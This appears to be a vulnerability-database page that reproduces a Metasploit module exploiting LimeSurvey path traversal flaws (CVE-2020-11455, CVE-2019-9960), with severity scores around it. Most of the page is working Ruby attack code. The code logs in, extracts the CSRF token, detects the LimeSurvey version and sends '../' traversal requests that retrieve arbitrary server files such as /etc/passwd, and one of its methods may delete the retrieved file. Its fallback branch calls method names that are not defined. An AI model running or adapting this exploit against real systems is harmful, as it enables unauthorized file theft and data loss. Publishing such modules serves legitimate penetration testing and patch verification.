Lucene search

K
metasploitH00die, Matthew Aberegg, Michael Burkey, Federico Fernandez, Alejandro ParodiMSF:AUXILIARY-SCANNER-HTTP-LIMESURVEY_ZIP_TRAVERSALS-
HistoryApr 08, 2020 - 6:31 p.m.

LimeSurvey Zip Path Traversals

2020-04-0818:31:17
h00die, Matthew Aberegg, Michael Burkey, Federico Fernandez, Alejandro Parodi
www.rapid7.com
59

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.878 High

EPSS

Percentile

98.6%

This module exploits an authenticated path traversal vulnerability found in LimeSurvey versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960, inclusive. In CVE-2020-11455 the getZipFile function within the filemanager functionality allows for arbitrary file download. The file retrieved may be deleted after viewing, which was confirmed in testing. In CVE-2019-9960 the szip function within the downloadZip functionality allows for arbitrary file download. Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328, 3.0.0-171222, and 2.70.0-170921.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'LimeSurvey Zip Path Traversals',
        'Description' => %q{
          This module exploits an authenticated path traversal vulnerability found in LimeSurvey
          versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,
          inclusive.
          In CVE-2020-11455 the getZipFile function within the filemanager functionality
          allows for arbitrary file download.  The file retrieved may be deleted after viewing,
          which was confirmed in testing.
          In CVE-2019-9960 the szip function within the downloadZip functionality allows
          for arbitrary file download.
          Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,
          3.0.0-171222, and 2.70.0-170921.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Matthew Aberegg', # edb/discovery cve 2020
          'Michael Burkey', # edb/discovery cve 2020
          'Federico Fernandez', # cve 2019
          'Alejandro Parodi' # credited in cve 2019 writeup
        ],
        'References' => [
          # CVE-2020-11455
          ['EDB', '48297'], # CVE-2020-11455
          ['CVE', '2020-11455'],
          ['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],
          # CVE-2019-9960
          ['CVE', '2019-9960'],
          ['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],
          ['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']
        ],
        'DisclosureDate' => '2020-04-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),
        OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),
        OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),
        OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),
        OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])
      ]
    )
  end

  def uri
    target_uri.path
  end

  def cve_2020_11455(cookie, ip)
    vprint_status('Attempting to retrieve file')
    print_error 'This method will possibly delete the file retrieved!!!'
    traversal = '../' * datastore['DEPTH']
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
      'cookie' => cookie,
      'vars_get' => {
        'path' => "#{traversal}#{datastore['FILE']}"
      }
    })
    if res && res.code == 200 && !res.body.empty?
      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
      print_good("File stored to: #{loot}")
    else
      print_bad('File not found or server not vulnerable')
    end
  end

  def cve_2019_9960_version_3(cookie, ip)
    vprint_status('Attempting to retrieve file')
    traversal = '../' * datastore['DEPTH']
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),
      'cookie' => cookie,
      'vars_get' => {
        'sZip' => "#{traversal}#{datastore['FILE']}"
      }
    })
    if res && res.code == 200 && !res.body.empty?
      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
      print_good("File stored to: #{loot}")
    else
      print_bad('File not found or server not vulnerable')
    end
  end

  # untested because I couldn't find when this applies.  It is pre 2.7 definitely, but unsure when.
  # this URL scheme was noted in the secsignal write-up
  def cve_2019_9960_pre25(cookie, ip)
    vprint_status('Attempting to retrieve file')
    traversal = '../' * datastore['DEPTH']
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php'),
      'cookie' => cookie,
      'vars_get' => {
        'sZip' => "#{traversal}#{datastore['FILE']}",
        'r' => 'admin/export/sa/downloadZip'
      }
    })
    if res && res.code == 200 && !res.body.empty?
      loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
      print_good("File stored to: #{loot}")
    else
      print_bad('File not found or server not vulnerable')
    end
  end

  def login
    # get csrf
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')
    })
    cookie = res.get_cookies
    fail_with(Failure::NoAccess, 'No response from server') unless res

    # this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
    /"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
    /"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
    csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
    fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
    vprint_status("CSRF: #{csrf_name} => #{csrf_value}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
      'cookie' => cookie,
      'vars_post' => {
        csrf_name => csrf_value,
        'authMethod' => 'Authdb',
        'user' => datastore['USERNAME'],
        'password' => datastore['PASSWORD'],
        'loginlang' => 'default',
        'action' => 'login',
        'width' => '100',
        'login_submit' => 'login'
      }
    })

    if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
      fail_with(Failure::NoAccess, 'No response from server')
    end
    vprint_good('Login Successful')
    res.get_cookies
  end

  def determine_version(cookie)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
      'cookie' => cookie
    })
    fail_with(Failure::NoAccess, 'No response from server') unless res
    /Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
    return nil unless version

    Rex::Version.new(version)
  end

  def run_host(ip)
    cookie = login
    version = determine_version cookie
    if version.nil?
      # try them all!!!
      print_status('Unable to determine version, trying all exploits')
      cve_2020_11455 cookie, ip
      cve_2019_9960_3_15_9 cookie, ip
      cve_2019_9960_pre3_15_9 cookie, ip
    end
    vprint_status "Version Detected: #{version.version}"
    if version.between?(Rex::Version.new('4.0'), Rex::Version.new('4.1.11'))
      cve_2020_11455 cookie, ip
    elsif version.between?(Rex::Version.new('2.50.0'), Rex::Version.new('3.15.9'))
      cve_2019_9960_version_3 cookie, ip
    # 2.50 is when LimeSurvey started doing almost daily releases.  This version was
    # picked arbitrarily as I can't seem to find a lower bounds on when this other
    # method may be needed.
    elsif version < Rex::Version.new('2.50.0')
      cve_2019_9960_pre25 cookie, ip
    else
      print_bad "No exploit for version #{version.version}"
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.878 High

EPSS

Percentile

98.6%

Related for MSF:AUXILIARY-SCANNER-HTTP-LIMESURVEY_ZIP_TRAVERSALS-